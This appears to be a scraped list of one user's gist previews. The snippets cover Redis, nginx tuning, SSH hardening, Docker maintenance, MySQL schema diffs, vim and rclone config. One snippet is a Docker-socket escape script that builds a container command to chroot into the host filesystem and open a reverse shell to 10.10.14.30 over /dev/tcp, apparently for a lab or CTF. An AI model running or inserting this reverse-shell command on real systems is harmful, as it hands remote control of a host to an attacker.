evasilev

# Redis Cheatsheet
# All the commands you need to know


redis-server /path/redis.conf  # start redis with the related configuration file
redis-cli                      # opens a redis prompt


# Strings.

evasilev

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

evasilev

---
# SSH server settings, in line with https://stribika.github.io/2015/01/04/secure-secure-shell.html
# Before using, change myhosts to your hosts' nickname and myuser to your username (two instances! make sure you replace both or you'll be locked out of ssh!)
- hosts: myhosts
  become: true
  remote_user: myuser
  tasks:
    # Key exchange, ciphers and MACs
    - lineinfile: dest=/etc/ssh/sshd_config regexp='^KexAlgorithms' line='KexAlgorithms [email protected],diffie-hellman-group-exchange-sha256'
    

evasilev

#!/bin/bash

# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"

evasilev

2021 Update: Easiest option is Justin's repo and image

Just run this from your Mac terminal and it'll drop you in a container with full permissions on the Docker VM. This also works for Docker for Windows for getting in Moby Linux VM (doesn't work for Windows Containers).

docker run -it --rm --privileged --pid=host justincormack/nsenter1

more info: https://github.com/justincormack/nsenter1

---

evasilev

Set the default size for new Docker for Mac disk images

UPDATE: The instructions here are no longer necessary! Resizing the disk image is now possible right from the UI since Docker for Mac Version 17.12.0-ce-mac49 (21995).

If you are getting the error: No space left on device

Configuring the qcow2 size cap is possible in the current versions:

# my disk is currently 64GiB

evasilev

# Easily compare with diff, mysqldump two DB table schemas ignoring /* SET Comments etc... */ with grep
# Used originaly to locate missing custom tables from Magento 1.x to Magento 2.x after data migration

# dump both databases with as little details as possible (DONT run these in production without table locking disabled!)
# Use grep to remove /* SET ... */ like comments from dump and save to > dbX.sql
mysqldump --skip-set-charset --skip-triggers --skip-opt -K --skip-comments --skip-extended-insert -d --no-data -u root -p db1 |  grep -v '^\/\*![0-9]\{5\}.*\/;$' > db1.sql;
mysqldump --skip-set-charset --skip-triggers --skip-opt -K --skip-comments --skip-extended-insert -d --no-data -u root -p db2 |  grep -v '^\/\*![0-9]\{5\}.*\/;$' > db2.sql;

# compare both db dumps and grep for only CREATE TABLE lines
diff db1.sql db2.sql | grep -iP '^\<.CREATE.TABLE.\`.+\`'

evasilev

#!/usr/bin/env bash

stale_images=`docker images --no-trunc --quiet --filter "dangling=true"`
stale_containers=`docker ps --no-trunc --quiet --filter "status=exited"`
stale_volumes=`docker volume ls --quiet --filter "dangling=true"`
stale_images_count=`echo "$stale_images" | sed '/^\s*$/d' | wc -l | xargs`
stale_containers_count=`echo "$stale_containers" | sed '/^\s*$/d' | wc -l | xargs`
stale_volumes_count=`echo "$stale_volumes" | sed '/^\s*$/d' | wc -l | xargs`

echo "Removing stale containers..."

evasilev

Introduction

• C-a == Ctrl-a
• M-a == Alt-a

General

:q        close
:w        write/saves
:wa[!]    write/save all windows [force]
:wq       write/save and close

evasilev

# For more details see https://rclone.org/s3/

[wasabi]
type = s3
provider = Wasabi
access_key_id = xxxxx
secret_access_key = xxx
region = us-east-1
endpoint = s3.wasabisys.com